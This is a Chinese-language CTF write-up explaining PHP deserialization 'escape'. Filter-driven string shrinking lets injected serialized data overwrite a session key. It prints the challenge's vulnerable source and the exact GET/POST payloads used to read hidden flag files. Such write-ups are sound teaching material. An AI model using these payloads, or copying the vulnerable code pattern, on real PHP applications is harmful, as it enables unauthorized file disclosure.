0x00 知识点
- php反序列化逃逸
- 代码审计
0x01 知识点详解
- 什么是php反序列化逃逸?
答:
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
这里由于在function参数哪里提前传入一个;}'
,导致php解析为序列化在这里就结束了,在进行反序列化时,其后的内容就不会在读取了,结果为:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
假设后台存在一个过滤机制,会将含flag字符替换为空,那么以上序列化字符串过滤结果为:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
将这串字符串进行序列化会得到什么?
这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:“function”;s:59:"a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:
array(3) {
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}
写成数组形式也即:
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';
可以发现,SESSION数组的键值img对应的值发生了改变。
设想,如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。这个感觉就像sql注入一样,他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn
,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==
代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
被忽略掉了,不影响正常的反序列化过程。
0x02 解体思路
- 打开网站就是一长篇的代码审计
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img); //这里过滤掉了一些字符
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION)); //这里进行了序列话,在配合之前对字符的过滤,我们是否可以实现利用字符的过滤来实现对变量的控制
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){ //f传进来的参数如果是phpinfo有提示
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){ //前置条件就是f传的参数是show_image
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));//这里执行了base64解密后的img,找到我们需要控制的变量
}
首先利用?f=phpinfo
看看有什么提示
可以看到这里提示了一个与flag有关的网页,那么我们就先读取一下这个网页,注意应为最后会经理一个base64的解密,所以我们要先对名称进行加密,d0g3_f1ag.php
的base64加密结果是ZDBnM19mMWFnLnBocA==
尝试构造payload读取文件
get: ?f=show_image
post: _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
查看源码
那接下里将d0g3_fllllllag
进行base64加密结果是L2QwZzNfZmxsbGxsbGFn
,并将替换一下ZDBnM19mMWFnLnBocA==
构造payload
get: ?f=show_image
post: _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}